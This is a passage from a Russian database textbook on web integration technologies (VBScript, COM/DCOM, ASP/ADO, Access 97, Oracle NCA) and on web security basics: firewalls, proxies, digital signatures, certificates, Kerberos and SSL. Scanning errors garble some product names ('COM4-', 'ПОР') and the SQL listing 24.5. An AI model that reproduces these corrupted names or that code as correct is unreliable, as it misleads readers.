Среди методов курсора следует отметить следующие: next() — для последовательного перехода к следующей записи курсора; insertRow — для вставки новой записи; updateRow/deleteRow — для обновления/удаления текущей записи. Кроме того, курсор после его определения будет иметь свойства, представляющие собой извлеченные в этом курсоре атрибуты. Например, в листинге 24.4 используется курсор My_Cursor, поэтому увеличение значения в поле заработной платы осуществляется с помощью свойства My_Cursor.Salary.
Язык VBScript
Язык VBScript — это оригинальный интерпретируемый язык сценариев фирмы Microsoft, назначение и принципы действия которого практически идентичны назначению и принципам действия языков сценариев JavaScript/JScript. Однако язык VBScript обладает синтаксисом, который больше похож на синтаксис языка Visual Basic, а не языка Java. Он интерпретируется непосредственно из исходного кода и может внедряться в HTML-документ. Как и языки JavaScript и JScript, он может выполняться броузером или же сервером до пересылки документа броузеру.
VBScript — это процедурный язык, в котором в качестве основного элемента используются подпрограммы. Он произошел от языка Visual Basic, который получил широкое распространение за последние несколько лет. Язык Visual Basic является базовым языком пакета Microsoft Office (программы Word, Access, Excel и PowerPoint). Работа этого языка построена на использовании компонентов, т.е. программа Visual Basic создается путем размещения компонентов в форме и использования языковых средств Visual Basic для организации связи между ними. Помимо всего прочего, язык Visual Basic стимулировал развитие элементов управления Visual Basic Control (VBX) — предшественников элементов управления ActiveX.
Элементы управления VBX совместно используют общий интерфейс, который позволяет размещать эти компоненты в форме Visual Basic. Именно таким было одно из самых первых широких применений компонентного программного обеспечения. Эти элементы управления фактически открыли путь элементам управления OLE Controls (OCX), которые впоследствии были переименованы в ActiveX. Упомянутое переименование, как и создание языка VBScript на основе Visual Basic, произошло после того, как Microsoft включила сеть Internet в сферу своих интересов. Основное отличие между языками Visual Basic и VBScript заключается в том, что с целью обеспечения безопасности в языке VBScript были упразднены функции, которые могли бы взаимодействовать с файлами на компьютере пользователя.
Платформа Microsoft Active Platform
Платформа Microsoft Active Platform — это открытая стандартизованная архитектура программного обеспечения для приложений Internet и intranet. Платформа Active Platform предусматривает использование самых разных инструментов, служб и технологий, таких как язык HTML, сценарии (языки JScript, VBScript и др.), компоненты (Java или ActiveX). Результат совместного применения этих технологий может быть размещен на стороне клиента с образованием платформы Active Desktop или на Web-сервере с образованием платформы Active Server. Active Desktop — это специальный термин, обобщающий эти связанные технологии. Прежде чем рассмотреть их более подробно, следует познакомиться с основными компонентами технологии б)ирмы Microsoft, включая OLE, СОМ и DCOM.
Технология Object Linking and Embedding (OLE)
На начальных этапах развития оболочки Windows фирмы Microsoft пользователи могли совместно использовать данные в разных приложениях, копируя и вставляя их с помощью буфера обмена (clipboard). В конце 80-х специалисты Microsoft предложили протокол динамического обмена данными Dynamic Data Exchange (DDE) для обеспечения функций буфера обмена в более динамическом режиме. Однако этот протокол был очень медленен и ненадежен, и на смену ему пришел более эффективный протокол связывания и внедрения объектов, получивший название Object Linking and Embedding (OLE) 1.0.
OLE является объектно-ориентированной технологией разработки повторно используемых программных компонентов. Вместо традиционного процедурного программирования, в котором каждый компонент реализует нужные функции, OLE- архитектура позволяет приложениям совместно использовать объекты, которые обладают специальными функциями. Объектами OLE-приложения могут быть текстовые документы, диаграммы, электронные таблицы, электронные сообщения, графические изображения и аудиоклипы. После вставки или внедрения объект отображается внутри клиентского приложения. Причем для редактирования связанных данных пользователю достаточно дважды щелкнуть мышью на нужном объекте, в результате чего будет запущено приложение, в котором этот объект был создан.
Технология Component Object Model (COM)
В целях гладкой интеграции объектов специалисты Microsoft расширили концепцию OLE, позволив создавать (и подключать) функциональные компоненты со специальными сервисами одного приложения в другом. Это послужило началом развития идеи компонентных объектов (component objects), т.е. объектов, которые предоставляют свои сервисы другому объекту. Компонентное решение Component Object Model (СОМ) является объектно-ориентированной моделью, которая состоит из спецификации, определяющей интерфейс между объектами внутри системы, и конкретной реализации в виде динамически связываемой библиотеки Dynamic Link Library (DLL).
По сути, технология СОМ — это служба, которая устанавливает связь между клиентским приложением и объектом с его сервисами. Технология СОМ предоставляет стандартный метод поиска и инициализации объектов, а также организации связи между клиентом и компонентом. Одним из основных достоинств технологии СОМ является то, что она предоставляет двоичный стандарт взаимодействия, т.е. метод сообщения клиента и объекта, который не зависит от языка программирования, использовавшегося при создании клиента и объекта. Идеология СОМ была реализована в 1993 году в спецификации OLE 2.0.
Технология Distributed Component Object Model (DCOM)
COM предоставляет архитектуру и механизмы для создания двоично-совместимых компонентов, которые могут совместно использоваться настольными приложениями. На следующем этапе развития стратегии Microsoft те же функции были расширены в корпоративном масштабе с помощью архитектуры Distributed Component Object Model (DCOM). DCOM расширяет архитектуру COM до распределенной компонентной среды, в которой компоненты одинаково выглядят для клиентов на локальном и удаленном компьютерах. DCOM это делает, заменяя сообщение между процессами клиента и компонента соответствующим сетевым протоколом. DCOM очень удобно использовать в трехуровневой архитектуре, которая рассматривалась в разделе 24.2.2.
Архитектура Windows Distributed interNet Applications Architecture (Windows DNA)
Недавно специалисты Microsoft объявили о создании новой технологии СОМ+, предоставляющей совместимый снизу вверх богатый набор сервисов, упрощающий разработчикам процесс создания более инновационных приложений. Цель создания техноло-
гии COM4- — предоставить приложению более развитую инфраструктуру и тем самым позволить разработчику сконцентрировать свое внимание на логике приложения. СОМ, или, точнее, COM4-, образует основу новой инициативы Microsoft в отношении объединения и интеграции персонального компьютера с сетью Internet. Архитектура Windows Distributed interNet Applications Architecture (Windows DNA) является архитектурным каркасом для создания современных, масштабируемых, многоуровневых распределенных вычислительных решений, которые могут работать в любой сети. Архитектура Windows DNA определяет общий набор сервисов, включающий компоненты, Web- броузер и Web-сервер, сценарии, транзакции, очереди сообщений, систему защиты, каталоги, системное управление, пользовательский интерфейс, а также (с учетом данного контекста) сервисы базы данных и доступа к данным.
Платформа Active Desktop
Платформа Active Desktop фирмы Microsoft — это клиентская часть, которая не зависит от используемой операционной системы. Это значит, что она может работать не только под управлением Windows 98/NT, но и на других платформах, например, таких как UNIX и Macintosh. Платформа Active Desktop является частью броузеров Internet Explorer 8.0 и Internet Explorer 4.0, но вследствие своей компонентной структуры она может быть интегрирована и с другими клиентскими приложениями.
Платформа Active Server
Платформа Active Server поддерживает многоуровневые приложения. Например, бизнес-правила и логика приложения могут быть реализованы отдельно на промежуточном уровне в виде компонентов или активных Web-страниц, размещенных на Web-сервере. Этот уровень может осуществлять доступ к данным на серверах баз данных, функционирующих на разных платформах, включая UNIX-совместимые системы и мейнфреймы. Поскольку платформа Active Server основана на открытых стандартах и протоколах, она предлагает мощный способ интеграции Web- приложений и традиционных приложений.
Платформа Active Server имеет несколько ключевых компонентов, но здесь мы рассмотрим только один из них: поддержку сценариев с помощью технологий Active Server Pages (ASP) и Active Data Objects (ADO). До обсуждения этих компонентов следует кратко рассмотреть универсальную стратегию доступа к данным фирмы Microsoft, чтобы понять, какое место они в ней занимают.
Универсальная стратегия доступа к данным
Технология ODBC фирмы Microsoft предоставляет общий интерфейс для доступа к гетерогенным SQL-совместимым базам данных (см. раздел 14.8), причем в этой технологии язык SQL используется как стандартный механизм доступа к данным. Предоставляемый интерфейс (построенный на базе языка С) обеспечивает высокую степень взаимодействия: одно приложение может обращаться к разным SQL-совместимым СУБД посредством общего кода. Это позволяет разработчику создавать и распространять приложения “клиент/сервер” без учета особенностей конкретной СУБД. Хотя ODBC считается хорошим интерфейсом передачи данных, тем не менее как программный интерфейс он имеет много ограничений. Для преодоления этой трудности неоднократно предпринимались попытки создания специальных оболочек. Например, специалисты Microsoft предлагали для этого использовать в Access и Visual С4-4- объектную модель Data Access Objects (DAO), которая состоит из объектов для баз данных (Database), определений таблиц (TableDef), определений запросов (QueryDef), наборов записей (Recordset), полей, свойств и т.д. Однако модель DAO прежде всего предназначена для осуществления прямого доступа к базовой технологии продукта Access фирмы Microsoft, а именно к ядру JET механизма базы данных. Более того, DAO не полностью соответствует спецификациям ODBC. Для взаимодействия с другими механизмами баз данных фирмы Microsoft, например с Visual FoxPro и SQL Server, а также для преодо-
ления снижения интереса к DAO со стороны программистов СУБД Access специалисты Microsoft предложили новую спецификацию Remote Data Object (RDO), вошедшую в состав Visual Basic 4.0 Enterprise Edition.
Недавно специалисты Microsoft определили набор объектов данных под названием OLE DB (Object Linking and Embedding for DataBases), который позволяет OLE- ориентированным приложениям совместно использовать и управлять наборами данных как объектами. Технология OLE DB обеспечивает доступ к любым источникам данных, включая реляционные и нереляционные базы данных, файловые и почтовые системы, текст и графику, настраиваемые бизнес-объекты и многое другое (рис. 24.11). Технология OLE DB является объектно-ориентированной спецификацией на основе C++ API. Поскольку компоненты могут рассматриваться как комбинация процесса и данных внутри безопасного и повторно используемого объекта, то они могут рассматриваться одновременно и как потребители данных, и как поставщики данных. Потребители получают данные от OLE DB-интерфейса, а поставщики передают их ему.
Технологии Active Server Pages (ASP) и Active Data Objects (ADO)
Технология Active Server Pages (ASP) — это модель программирования, которая позволяет создавать на Web-сервере динамические интерактивные Web-страницы. Они могут быть предназначены именно для того типа броузера, который имеется у пользователя, и созданы на том языке, который поддерживается его компьютером, а также учитывать все предпочтения пользователя. Эта технология впервые была реализована в Web-сервере Internet Information Server (IIS) 3.0 фирмы Microsoft и поддерживает интерпретацию ActiveX-сценариев, позволяя в случае необходимости использовать в одном ASP-сценарии большое количество разных механизмов обработки сценариев. Основная поддержка предусмотрена для языка VBScript (этот язык сценариев используется в технологии ASP по умолчанию) и языка JScript. Общая архитектура технологии ASP показана на рис. 24.12.
Рис. 24.11. Архитектура OLE DB
Технология ASP обладает гибкостью CGI, но исключает возникновение дополнительной нагрузки, речь о которой уже шла выше. В отличие от CGI-сценария, ASP- сценарий выполняется как внутренний процесс сервера, кроме того он многопоточен и оптимизирован для работы с большим количеством пользователей. Файлы, используемые в этой технологии, имеют расширение .asp и могут содержать комбинацию таких основных компонентов, как:
обычный текст;
HTML-дескрипторы, взятые в обычные угловые скобки (< и >);
команды сценария и выражения вывода, выделенные парами символов <% и %>.
Рис. 24.12. Общая архитектура технологии ASP
ASP-сценарий начинает выполняться после того, как броузер запросит файл с расширением .asp с Web-сервера. В этом случае Web-сервер посылает вызов ASP- механизму обработки, который считывает сценарий из указанного файла сверху вниз, выполняя при этом все встретившиеся команды. Затем сгенерированная HTML- страница посылается обратно броузеру. При этом в сгенерированный сервером HTML-файл могут также включаться сценарии, предназначенные для выполнения на стороне клиента, причем внутри исходного ASP-сценария они представляются в виде обычного вставленного текста.
Технология Active Data Objects (ADO)
Технология Active Data Objects (ADO) — это программное расширение технологии ASP, которое реализовано в Web-сервере Internet Information Server (IIS) фирмы Microsoft с целью организации подключений к базам данных. Технология ADO создавалась для того, чтобы, унаследовав все лучшие черты технологий RDO и DAO, в конечном итоге заменить их. Поэтому для этой технологии были приняты аналогичные соглашения, но с более простой семантикой. В технологии ADO поддерживаются следующие основные функции (хотя отдельные механизмы баз данных могут поддерживать только некоторые из них):
независимо создаваемые объекты;
поддержка хранимых процедур с входными, выходными и возвращаемыми параметрами;
курсоры различных типов (включая возможность поддержки разных специальных курсоров конечных пользователей);
пакетное обновление;
поддержка ограничений для числа возвращаемых строк или других параметров запроса;
поддержка нескольких наборов данных, возвращаемых хранимыми процедурами или пакетными операторами.
Технология ADO также предназначена для выполнения роли простого в использовании интерфейса прикладного уровня с механизмами OLE DB. Методы технологии ADO вызываются с помощью интерфейса OLE-автоматизации, который в настоящее время доступен во многих инструментах разработки и языках программирования. Более того, как уже говорилось выше, поскольку технология ADO должна заменить технологии RDO и DAO, наследуя из них все лучшее, в ней используются те же соглашения, но с более простой семантикой. Основными преимуществами технологии ADO является простота использования, высокая скорость, небольшие потребности в оперативной памяти и незначительные затраты дисковой памяти.
Использование технологий ASP и ADO проиллюстрировано в примере Ж.5, приведенном в приложении Ж.
Access 97 и генерация Web-страниц
В главах 12, “Пример разработки физического проекта базы данных”, и 15, “Язык QBE”, были рассмотрены некоторые аспекты использования СУБД Access 97 фирмы Microsoft. В этом разделе мы кратко обсудим те компоненты этой СУБД, которые позволяют интегрировать ее базы данных в среду Web. В Access 97 предусмотрены три мастера, предназначенных для автоматической генерации HTML-страниц на основе таблиц, запросов или форм.
Статические страницы. В этом случае Access создает HTML-страницу, содержащую требуемые данные. Это базовая функция, которой свойствен тот очевидный недостаток, что содержание созданной HTML-страницы быстро устаревает и ее потребуется повторно генерировать при каждом изменении информации в таблицах базы данных. При создании подобных страниц используется стандартный язык HTML, обрабатывать который способен любой броузер.
Динамические страницы на основе технологии ASP. В этом случае Access создает статическую HTML-страницу, содержащую ссылку на некоторый ASP- файл Web-сервера. Данный файл в случае необходимости автоматически генерируется и помещается на Web-сервер. Хотя в статической странице используется стандартный HTML-язык, тем не менее ASP-файл может обрабатываться только Web-сервером Internet Information Server (IIS) фирмы Microsoft.
Динамические страницы с использованием соединителя Internet Database Connector (IDC). Этот подход аналогичен предыдущему и может использоваться только в отношении Web-сервера Internet Information Server фирмы Microsoft. Соединитель IDC — это ISAPI-интерфейс, который считывает IDC-файл (с расширением .ide), содержащий требуемые SQL-команды. Для извлечения нужных сведений из базы данных соединитель IDC взаимодействует, с ODBC-драйвером СУБД. Формат данных определяется на основе информации, помещенной в файл с расширением .htx (HTml extension). Затем созданный HTML-файл пересылается броузеру. В листинге 24.5 приведен пример содержимого файла .ide, а в листинге 24.6 — файла .htx. В .idc-файле переменная %cityName% обозначает содержимое текстового поля, у которого значение свойства NAME равно cityName. В .htx- файле переменные % beg indetail % и % enddetail % определяют HTML-код, который повторяется для каждой строки результирующего набора данных.
Листинг 24.5. Содержимое файла properties. ide
Datasource: Dreamhomedb
Template: properties.htx
SQLStatement:
+SELECT P.Pno,
+FROM PROPERTY^FOR _RENT P
+WHERE (P.City = ^cityNameV)
Листинг 24.6. Содержимое файла properties.htx
<HTML>
<HEAD><TITLE>Results of Query
</TITLEX/HEAD>
<BODY BGCOLOR = "FFFFFF">
<%begindetail%>
<%Pno%>
<%enddetail%>
</BODY>
</HTML>
Архитектура Oracle Network Computing Architecture (NCA)
He вызывает удивления тот факт, что подход фирмы Oracle к созданию централизованной сетевой модели вычислений коренным образом отличается от подхода фирмы Microsoft. Архитектура Network Computing Architecture (NCA) преимущественно нацелена на создание расширения для распределенных сред. Эта трехуровневая архитектура построена на основе следующих промышленных стандартов:
технологии CORBA 2.0, разработанной специалистами группы Object Management Group (OMG) для управления объектами (см. раздел 22.8.1);
протокола HTTP и языка HTML, используемых при работе в Web-среде;
протокола Internet Inter-Object Protocol (ПОР), используемого для организации взаимодействия между объектами. В среде Internet технология CORBA использует протокол ПОР (Internet Inter-ORB Protocol). Как и протокол HTTP, протокол ПОР реализует уровень приложения поверх протокола TCP/IP, но в отличие от протокола HTTP, протокол ПОР позволяет сохранять данные о состоянии для многочисленных вызовов объектов и многочисленных установленных соединений;
языка определения интерфейса Interface Definition Language (IDL) разработки группы OMG, предназначенного для описания интерфейсов, не зависящих от языка программирования (см. раздел 22.8).
Название “Network Computing Architecture” не предполагает наличия какой-либо особой поддержки сетевых компьютеров, причем специалисты фирмы Oracle утверждают, что эта архитектура в равной степени применима как к “тонким”, так и к “толстым” клиентам. Как показано на рис. 24.13, архитектура NCA включает основанный на CORBA объектный механизм, содержащий следующие компоненты:
подключаемые “картриджи”, позволяющие разработчикам добавлять собственные функции к создаваемым ими приложениям;
открытые протоколы и стандартизованные интерфейсы, которые позволяют картриджам взаимодействовать посредством программной шины InterCartridge eXchange (ICX);
расширяемые клиенты, серверы приложений и серверы баз данных;
интегрированные среды разработки и управления картриджами.
Среда управленияСреда управленияРис. 24.13. Архитектура Network Computing Architecture (NCA) фирмы OracleРис. 24.13. Архитектура Network Computing Architecture (NCA) фирмы Oracle
Среда управления
Среда управления
Рис. 24.13. Архитектура Network Computing Architecture (NCA) фирмы Oracle
Рис. 24.13. Архитектура Network Computing Architecture (NCA) фирмы Oracle
Клиенты
Архитектура NCA поддерживает широкий круг клиентов, включая персональные и сетевые компьютеры, а также мобильные устройства. Картриджи можно создавать с использованием языков Java, JavaScript, C/C++, Visual Basic и SQL-подобных языков.
Сервер Universal Application Server
Сервер Universal Application Server играет роль промежуточного уровня в трехуровневой архитектуре. Он создавался для обеспечения высокой пропускной способности и организации поддержки транзакций в среде с большим количеством НТТР-запросов. Архитектура этого сервера основана на брокере запросов CORBA ORB (Object Request Broker), который называется Web Request Broker (WRB). Брокер запросов WRB позволяет различным Web-серверам прозрачно взаимодействовать с различными прикладными картриджами. Сервер HTTP-протокола, картриджи и все системные службы реализованы как распределенные объекты, которые могут располагаться на различных сайтах. На рис. 24.14 схематически показано, как брокер запросов WRB взаимодействует с несколькими Web-серверами и ORACLE-совместимыми картриджами, включая картриджи на базе языка Java, серверной вставки Server-Side Include, интерфейса X/Open Transaction API (см. раздел 20.5), языков Perl и PL/SQL.
Рис. 24.14. Сервер Universal Application ServerРис. 24.14. Сервер Universal Application Server
Рис. 24.14. Сервер Universal Application Server
Рис. 24.14. Сервер Universal Application Server
В Web-сервере Web Server 3.0 фирмы Oracle интерфейс WRB API может использоваться вместе с Web-серверами фирм Netscape, Microsoft и Spyglass. Этот сервер также поддерживает модель X/Open Distributed Transaction Processing (DTP) на основе открытых стандартов: SQL, ХА Х/Open и ТХ Х/Open. Он включает API- интерфейсы, которые служат для решения следующих задач:
запуска или соединения транзакций;
получения информации о транзакции;
фиксации или отката транзакции.
Сервер Universal Data Server
Сервер Universal Data Server обеспечивает хранение данных и управление сервисами. Помимо поддержки традиционных реляционных данных, сервер Universal Data Server может поддерживать новые типы данных, включая видео-, аудио-, текстовые и пространственные данные. Архитектура NCA позволяет клиентам подключаться к серверу Universal Data Server с помощью нескольких механизмов, перечисленных ниже.
Существующая архитектура “клиент/сервер” может продолжать работать без изменений и взаимодействовать непосредственно через интерфейс SQL*Net.
“Тонкий” клиент может непосредственно взаимодействовать с сервером Universal Data Server с помощью пакетов JDBC/JSQL.
Клиент может взаимодействовать с сервером Universal Data Server через сервер Universal Application Server с помощью предоставляемого ODBC- или PL/SQL-картриджа фирмы Oracle.
Картриджи
Программные картриджи, или компонентное программное обеспечение, может подключаться к любому из трех уровней (серверу базы данных, серверу приложения или клиенту) с целью предоставления дополнительных функций. Эти картриджи могут создаваться независимыми разработчиками программного обеспечения (independent software vendor — ISV) по заданным спецификациям и применяться в NCA-среде в виде распределенных компонентов. Преимущество в этом случае состоит в том, что ISV- разработчики могут создавать свои программы практически на любом языке программирования, а созданные ими компоненты могут работать в распределенной неоднородной среде вычислений независимо от используемой операционной системы.
Для обеспечения идентификации картриджей другими объектами распределенной системы в них используется язык определения интерфейса Interface Definition Language (IDL). Каждый картридж имеет доступ к большому набору сервисов, предназначенных для выполнения установки, регистрации, инициализации, вызова, администрирования, мониторинга, обеспечения безопасности, обработки транзакций, пересылки и организации очередей сообщений, а также предоставления доступа к данным. Причем некоторые из них могут быть частью стандарта CORBA 2.0.
Программная шина Inter-Cartridge exchange (ICX)
Программная шина ICX обеспечивает среду для организации взаимодействия приложений в виде объектной шины, которая позволяет распределенным в сети картриджам общаться друг с другом. Программная шина ICX позволяет разным картриджам, созданным на разных языках программирования, функционировать в одной и той же прикладной среде. Благодаря шине ICX один картридж может содержать вызов другого картриджа и осуществлять пересылку полученных результатов Web-клиенту или возвращать их исходному картриджу с целью дальнейшей обработки. Поскольку ICX-запрос выглядит почти так же, как и HTTP-запрос, любой картридж может отвечать на подобные запросы. Программная шина ICX также обеспечивает мост между такими разными объектными моделями и средами, как модель COM Microsoft, среда языка Java и традиционные системы.
Фирма Oracle также предлагает набор инструментов для разработки картриджей, клиентских частей, приложений и баз данных. Использование PL/SQL-картриджа демонстрируется в примере Ж, приведенном в приложении Ж.
24.11. Безопасность
Все взаимодействия в среде Internet осуществляются на основе протокола TCP/IP. Однако протоколы TCP/IP и HTTP разрабатывались без учета вопросов безопасности. Если не используется специальное программное обеспечение, то любые сообщения в Internet передаются в совершенно незащищенном виде и всякий, кто отслеживает сетевой трафик, сможет их прочесть. Поскольку Internet традиционно является открытой сетью, то этот способ перехвата сообщений можно очень легко осуществить с помощью свободно распространяемого программного обеспечения для анализа пакетов. Представьте себе, например, последствия перехвата злоумышленниками номеров кредитных карточек во время совершения покупок через Internet. Поэтому очень важно обеспечить безопасную передачу и получение информации через сеть Internet с соблюдением следующих условий:
информация должна быть недоступна всем, за исключением отправителя и получателя (конфиденциальность);
информация не должна изменяться в процессе передачи (целостность);
получатель должен быть уверен в том, что она поступила именно от указанного отправителя (аутентичность);
отправитель должен быть уверен в подлинности получателя (подлинность);
отправитель не может отказаться от информации, которая была им отправлена (нерасторжимость).
Однако защита транзакций позволяет разрешить только часть имеющихся проблем. Поступившая на Web-сервер информация также должна быть защищена. При использовании трехуровневой архитектуры (см. раздел 24.2.2) возникают дополнительные трудности, связанные с обеспечением безопасности базы данных и доступа к ней. В настоящее время большая часть компонентов этой архитектуры может быть защищена, но для этого требуются различные продукты и механизмы.
Еще один аспект безопасности при работе в сети Internet заключается в том, что передаваемая на клиентский компьютер информация может иметь выполняемое содержание. Например, HTML-страницы могут содержать элементы управления ActiveX, сценарии JavaScript/VBScript, а также один или несколько аплетов Java. Выполняемое содержание может осуществлять перечисленные ниже злонамеренные действия, а потому, чтобы защититься от них, следует принять необходимые меры.
Повреждение данных или состояния выполнения программ.
Полное форматирование жестких дисков.
Полный останов системы.
Сбор и копирование на другой Web-сайт таких конфиденциальных данных, как файлы или пароли.
Незаконное использование персональных идентификационных данных других пользователей или компьютеров с целью проведения атак на различные объекты в сети.
Блокирование ресурсов, что делает их недоступными легальным пользователям и программам.
Инициирование устранимых, но нежелательных эффектов, особенно на устройствах вывода.
В главе 16, “Защита баз данных” рассматриваются общие механизмы обеспечения безопасности в системах баз данных. Однако повышенная доступность баз данных в открытой сети Internet и частных сетях intranet требует выполнения повторного анализа и усовершенствования уже использованных подходов. В этом разделе рассматриваются некоторые вопросы, связанные с безопасностью баз данных в упомянутых выше средах.
Прокси-серверы
В среде Web прокси-сервером (proxy server) называют компьютер, который располагается между Web-броузером и Web-сервером. Он перехватывает все запросы к Web-серверу, чтобы выяснить, не может ли он сам полностью ответить на них. Если нет, то поступивший запрос передается дальше, на Web-сервер. В общем случае прокси-серверы предназначены для решения двух задач: повышения производительности и фильтрации запросов.
Повышение производительности
Поскольку прокси-сервер сохраняет результаты всех запросов в течение некоторого промежутка времени, он способен существенно повысить производительность работы некоторой группы пользователей. Например, предположим, что пользователь А и пользователь Б осуществляют доступ к Web-среде через прокси-сервер. Пусть пользователь А обращается к некоторой Web-странице, а некоторое время спустя к этой же странице обращается и пользователь Б. Во втором случае вместо повторного обращения к Web-серверу, на котором находится искомая Web- страница, прокси-сервер просто возвращает ее содержимое пользователю Б, поскольку она была сохранена в кэш-памяти при первом посещении этой страницы пользователем А. Поскольку прокси-сервер обычно находится в том же сегменте сети, что и пользователи, он выполняет подобные операции гораздо быстрее, чем при непосредственном обращении к удаленному Web-серверу. Прокси-серверы таких крупных организаций, как CompuServe и America Online, способны поддерживать работу одновременно тысяч пользователей.
Фильтрование запросов
Прокси-серверы могут также применяться для фильтрации запросов. Например, организация может использовать прокси-сервер для предотвращения посещений ее сотрудниками некоторых Web-сайтов.
Брандмауэры
Стандартная рекомендация в отношении обеспечения безопасности состоит в том, чтобы основные Web-серверы были отсоединены от любых внутренних сетей и для них регулярно выполнялось резервное копирование, что обеспечит возможность восстановления исходного состояния после неизбежных попыток нападения. Если же Web-сервер все же должен быть соединен с внутренней сетью — например, для организации доступа к корпоративной базе данных, — то в таком случае для предотвращения несанкционированного доступа к внутренней сети следует использовать технологию брандмауэров (firewall). Однако это решение будет действенным только при условии, что брандмауэр был корректно установлен и правильно сопровождается.
Брандмауэр — это система, предназначенная для защиты от несанкционированного доступа к (или из) закрытой сети. Брандмауэры могут быть программными, аппаратными или комбинированными. Они часто используются для предотвращения несанкционированного доступа со стороны пользователей Internet к закрытым сетям, имеющим соединение с Internet, особенно к сетям intranet. Все сообщения, которые входят или выходят из сети intranet, проходят через брандмауэр. Брандмауэр проверяет все поступившие сообщения и блокирует прохождение тех из них, которые не удовлетворяют заданным критериям. Ниже перечислены основные типы брандмауэров.
Пакетный фильтр, который позволяет просматривать каждый пакет, исходящий из сети или входящий в нее, разрешая или отвергая его прохождение на основе определенных пользователем правил. Фильтрование пакетов является очень эффективным и прозрачным для пользователей механиз-
мом, однако его настройка может оказаться достаточно трудной задачей. Тем не менее этот способ уязвим по отношению к имитации IP-адреса (IP- spoofing). (Под имитацией IP-адреса здесь подразумевается такой способ получения несанкционированного доступа к компьютерам, при котором нарушитель посылает сообщения компьютеру с IP-адресом, указывающим, что это сообщение поступило от доверительного порта.)
Шлюз приложения, который применяет различные механизмы обеспечения безопасности некоторых приложений, например серверов FTP и telnet. Это очень эффективный механизм, но его использование может заметно отразиться на уровне производительности.
Шлюз на уровне цепи, который применяет механизмы обеспечения безопасности при установке TCP- или UDP-соединения. Как только соединение будет установлено, пакеты могут передаваться между узлами без дальнейшей проверки.
Прокси-сервер, который перехватывает все входящие в сеть и исходящие из нее сообщения. Прокси-сервер эффективно скрывает все истинные сетевые адреса.
На самом деле многие брандмауэры поддерживают более одного из указанных методов. При защите конфиденциальной информации брандмауэр рассматривается как первая линия обороны. Для более надежного обеспечения безопасности данные следует шифровать, используя методы, описанные ниже, в разделе 16.2.
Алгоритмы сжатия сообщений и цифровые подписи
Алгоритм сжатия сообщений (message digest), или односторонняя хеш-функция (one-way hash function), принимает строку произвольной длины, т.е. сообщение (message), и генерирует на ее основе строку фиксированной длины, т.е. дайджест (digest), или значение хеш-функции (hash). Дайджест обладает приведенными ниже характеристиками.
Он должен быть таким, чтобы невозможно было найти другое сообщение, которое генерировало бы такой же дайджест.
Дайджест не содержит никаких сведений о сообщении.
Цифровая подпись состоит из двух частей: строки битов, которая вычислена на основании “подписанных” данных, и закрытого ключа частного лица или организации, которая “подписала” эти данные. Подпись может быть использована для проверки истинности происхождения данных. Так же, как и подпись, сделанная вручную, цифровая подпись обладает многими полезными свойствами:
ее достоверность может быть проверена с помощью вычислений на основе соответствующего открытого ключа;
ее нельзя подделать (при условии, что закрытый ключ держится в секрете);
она является функцией подписанных данных, а потому не может использоваться как подпись для других данных;
подписанные данные не могут быть изменены, в противном случае подпись не удастся использовать для подтверждения аутентичности данных.
В некоторых алгоритмах создания цифровых подписей частично используются алгоритмы создания дайджестов сообщений, а в других для большей эффективности — вычисляется дайджест сообщения и “подписывается” именно он, а не само сообщение.
Цифровые сертификаты
Цифровым сертификатом называется дополнение электронного сообщения, которое используется в целях обеспечения безопасности, — чаще всего для того, чтобы доказать, что отправитель сообщения действительно является тем, за кого себя выдает. Кроме того, цифровой сертификат предоставляет получателю средства для кодирования ответного сообщения.
Частное лицо, которое желает послать зашифрованное сообщение с цифровым сертификатом, должно подать соответствующее заявление в одну из сертифицирующих организаций (Certificate Authority — СА). СА выделяет ему зашифрованный цифровой сертификат, содержащий открытый ключ заявителя, и много другой идентификационной информации. СА публикует свой собственный открытый ключ в печатных изданиях или в сети Internet.
Получатель зашифрованного сообщения использует открытый ключ СА для декодирования приложенного к сообщению цифрового сертификата, проверяет его согласно правилам СА, а затем выделяет открытый ключ отправителя и идентификационную информацию, хранимую внутри сертификата. Обладая этой информацией, получатель может послать зашифрованный ответ.
Ясно, что роль СА в этом процессе является критической, поскольку эта организация является связующим звеном между двумя сторонами. В таких больших распределенных сетях, как Internet, такая третья доверительная сторона просто необходима, поскольку клиенты и серверы могут и не иметь абсолютного обоюдного доверия, но им может потребоваться работа в защищенном сеансе. Поскольку каждая сторона доверяет С А, а С А ручается за идентификацию и оказание доверия каждой стороны на основе подписания их сертификатов, то каждая из сторон признает это и неявно доверяет друг другу. Самым распространенным стандартом цифровых сертификатов является стандарт Х.509.
Церберы
Цербер (kerberos) — это сервер защищенных учетных имен и паролей пользователей. (В греческой мифологии Цербер — это трехглавый пес, который охранял врата ада.) Значение цербера заключается в том, что он выполняет функции централизованного защищенного сервера для всех данных и ресурсов сети. Доступ к базе данных, управление авторизацией и другие функции обеспечения безопасности централизованно располагаются на доверительных серверах-церберах. Цербер обладает функциями, аналогичными функциям сервера сертификатов, т.е. он идентифицирует и устанавливает подлинность пользователя. Компании, занимающиеся вопросами обеспечения безопасности, в настоящее время изучают возможность слияния серверов-церберов и серверов сертификатов с целью образования единой системы защиты сети.
Протоколы Secure Sockets Layer (SSL) и Secure HTTP (S-HTTP)
Многие крупные разработчики программных продуктов для сети Internet договорились об использовании протокола шифрования Secure Sockets Layer (SSL), разработанного фирмой Netscape и предназначенного для передачи конфиденциальных документов через сеть Internet. Согласно протоколу SSL, для шифрования данных, передаваемых по SSL-соединению, предполагается использование закрытого ключа. Протокол SSL поддерживают броузеры Netscape Navigator и Internet Explorer, а на многих Web-сайтах этот протокол используется для получения конфиденциальной информации о пользователе, например номера его кредитной карточки. Данный протокол располагается между протоколом уровня приложения (например, HTTP) и протоколом транспортного уровня (TCP/IP). Он предназначен для предотвращения перехвата, тайной обработки и. подделки сообщений. Поскольку протокол SSL располагается под протоколами уровня приложения, он может использоваться и другими протоколами уровня приложения, например FTP или NNTP.
Другой протокол безопасной передачи данных в Web-среде носит название Secure HTTP (S-HTTP) и является модифицированной версией стандартного протокола HTTP. Протокол S-HTTP был разработан фирмой Enterprise Integration Technologies (EIT); в 1995 году его приобрела фирма Verifone, Inc. Если протокол SSL создает безопасное соединение между клиентом и сервером, по которому может безопасно передаваться произвольное количество данных, то протокол S-HTTP предназначен для безопасной передачи отдельных сообщений. Следовательно, оба этих протокола можно рассматривать как взаимно дополняющие технологии. Оба они были представлены комитету Internet Engineering Task Force (IETF) для одобрения в качестве стандарта. По установленному соглашению, адреса Web-страниц, для которых необходимо наличие SSL-соединения, начинаются с символов https: вместо символов http:. Не все броузеры и Web-серверы поддерживают эти протоколы.
